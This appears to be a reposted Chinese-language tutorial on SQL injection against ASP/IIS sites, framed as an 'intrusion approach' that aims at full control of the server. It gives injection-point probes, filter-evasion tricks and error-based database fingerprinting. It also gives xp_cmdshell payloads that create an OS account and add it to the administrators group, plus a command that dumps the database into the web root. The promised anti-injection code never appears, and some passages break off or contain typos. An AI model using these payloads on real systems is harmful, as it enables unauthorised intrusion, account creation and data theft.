SQL不完全思路與防注入程式

來源:互聯網
上載者:User
程式|防注入 <一>SQL注入簡介
許多網站程式在編寫時,沒有對使用者輸入資料的合法性進行判斷,
使應用程式存在安全隱患。使用者可以提交一段資料庫查詢代碼,
(一般是在瀏覽器地址欄進行,通過正常的www連接埠訪問)
根據程式返回的結果,獲得某些他想得知的資料,
這就是所謂的SQL Injection,即SQL注入。
<二>SQL注入思路
思路最重要
其實好多人都不知道SQL到底能做什麼呢
這裡總結一下SQL注入入侵的總體的思路
1. SQL注入漏洞的判斷,即尋找注入點
2. 判斷後台資料庫類型
3. 確定XP_CMDSHELL可執行情況;若當前串連資料的帳號具有SA許可權,
且master.dbo.xp_cmdshell擴充預存程序(調用此預存程序可以直接使用作業系統的shell)能夠正確執行,則整個電腦可以通過幾種方法完全
控制,也就完成了整個注入過程
否則繼續:
1. 發現WEB虛擬目錄
2. 上傳ASP木馬;
3. 得到管理員權限
具體步驟
一、SQL注入漏洞的判斷
如果以前沒玩過注入,
請把IE菜單-工具-Internet選項-進階-顯示友好HTTP錯誤資訊前面的勾去掉。
為了把問題說明清楚,以下以HTTP://www.163.com/news.asp?id=xx(這個地址是假想的)
為例進行分析,xx可能是整型,也有可能是字串。
1、整型參數的判斷
當輸入的參數xx為整型時,通常news.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位=xx,所以可以用以下步驟測試SQL注入是否存在。
最簡單的判斷方法
HTTP://www.163.com/news.asp?id=xx’(附加一個單引號),
此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx’,
如果程式沒有過濾好“’”的話
就會提示 news.asp運行異常;
但這樣的方法雖然很簡單,但並不是最好的
因為
first,不一定每台伺服器的IIS都返回具體錯誤提示給用戶端,
如果程式中加了cint(參數)之類語句的話,SQL注入是不會成功的,
但伺服器同樣會報錯,具體提示資訊為處理 URL 時伺服器上出錯。
請和系統管理員聯絡。
second,目前大多數程式員已經將“’“ 過濾掉,所以用” ’”測試不到注入點
所以一般使用經典的1=1和1=2測試方法
見下文:
HTTP://www.163.com/news.asp?id=xx and 1=1, news.asp運行正常,
而且與HTTP://www.163.com/news.asp?id=xx運行結果相同;
HTTP://www.163.com/news.asp?id=xx and 1=2, news.asp運行異常;(這就是經典的 1=1 1=2 判斷方法)
如果以上面滿足,news.asp中就會存在SQL注入漏洞,反之則可能不能注入。
2、字串型參數的判斷
方法與數值型參數判斷方法基本相同
當輸入的參數xx為字串時,通常news.asp中SQL語句原貌大致如下:
select * from 表名 where 欄位='xx',所以可以用以下步驟測試SQL注入是否存在。
HTTP://www.163.com/news.asp?id=xx’(附加一個單引號),此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx’,news.asp運行異常;
HTTP://www.163.com/news.asp?id=xx and '1'='1', news.asp運行正常,
而且與HTTP://www.163.com/news.asp?id=xx運行結果相同;
HTTP://www.163.com/news.asp?id=xx and '1'='2', news.asp運行異常;
如果以上滿足,則news.asp存在SQL注入漏洞,反之則不能注入
3、特殊情況的處理
有時ASP程式員會在程式員過濾掉單引號等字元,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由於VBS並不區分大小寫,而程式員在過濾時通常要麼全部過濾大寫字串,要麼全部過濾小寫字串,而大小寫混合往往會
被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字元集實現國際化,我們完全可以IE中輸入的字串化成UNICODE字串進行輸入。如+ =%2B,空格=%20 等
;URLEncode資訊參見附件一;
③ASCII碼法:可以把輸入的部分或全部字元全部
<4>出了上述方法以外,還有個更簡單的方法就是使用現成的工具
像NB同盟NBSI就是一款很不錯的工具,目前最新的版本為2.2




二,判斷資料庫類型
不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和
SQLServer,網上超過99%的網站都是其中之一。
怎麼讓程式告訴你它使用的什麼資料庫呢?來看看:
SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯資訊擷取,方法如下:
HTTP://www.163.com/news.asp?id=xx;and user>0
這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它
的含義:首先,前面的語句是正常的,重點在and user>0,我們知道,user是SQLServer的一個內建變數,它的值是當前串連的使用者名稱,類型為
nvarchar。拿一個 nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯
提示是:將nvarchar值 ”abc” 轉換資料類型為 int 的列時發生語法錯誤,呵呵,abc正是變數user的值,這樣,不廢吹灰之力就拿到了資料
庫的使用者名稱。在以後的篇幅裡,大家會看到很多用這種方法的語句。 順便說幾句,眾所周知,SQLServer的使用者sa是個等同Adminstrators許可權
的角色,拿到了sa許可權,幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入,要注意的是:如果是
sa登入,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。
如果伺服器IIS不允許返回錯誤提示,那怎麼判斷資料庫類型呢?我們可以從Access和SQLServer和區別入手,Access和 SQLServer都有自己的
系統資料表,比如存放資料庫中所有對象的表,Access是在系統資料表[msysobjects]中,但在Web環境下讀該表會提示“沒有許可權”,SQLServer是在表
[sysobjects]中,在Web環境下可正常讀取。
在確認可以注入的情況下,使用下面的語句:
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from sysobjects)>0
HTTP://www.163.com/news.asp?id=xx ;and (select count(*) from msysobjects)>0
如果資料庫是SQLServer,那麼第一個網址的頁面與原頁面HTTP://www.163.com/news.asp?id=xx是大致相同的;而第二個網址,由於找不到表
msysobjects,會提示出錯,就算程式有容錯處理,頁面也與原頁面完全不同。
如果資料庫用的是Access,那麼情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎資料庫設定是否允許讀該系統資料表
,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的資料庫類型,第二個網址只作為開
啟IIS錯誤提示時的驗證。




三、確定XP_CMDSHELL可執行情況
若當前串連資料的帳號具有SA許可權,
且master.dbo.xp_cmdshell擴充預存程序
(調用此預存程序可以直接使用作業系統的shell)能夠正確執行,
則整個電腦可以通過以下幾種方法完全控制,以後的所有步驟都可以省
1、HTTP://www.163.com/news.asp?id=xx and user>;0 news.asp執行異常但可以得到當前串連資料庫的使用者名稱(若顯示dbo則代表SA)。
2、HTTP://www.163.com/news.asp?id=xx and db_name()>0 news.asp執行異常但可以得到當前串連的資料庫名。
3、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主要資料
庫;名中的分號表示SQL-SERVER執行完分號前的語句名,繼續執行其後面的語句;“—”號是註解,表示其後面的所有內容僅為注釋,系統並
不執行)可以直接增加作業系統帳戶aaa,密碼為bbb。
4、HTTP://www.163.com/news.asp?id=xx;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把剛剛增加
的帳戶aaa加到administrators組中。
5、HTTP://www.163.com/news.asp?id=xx;backuup database 資料庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的資料內容
全部備份到WEB目錄下,



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。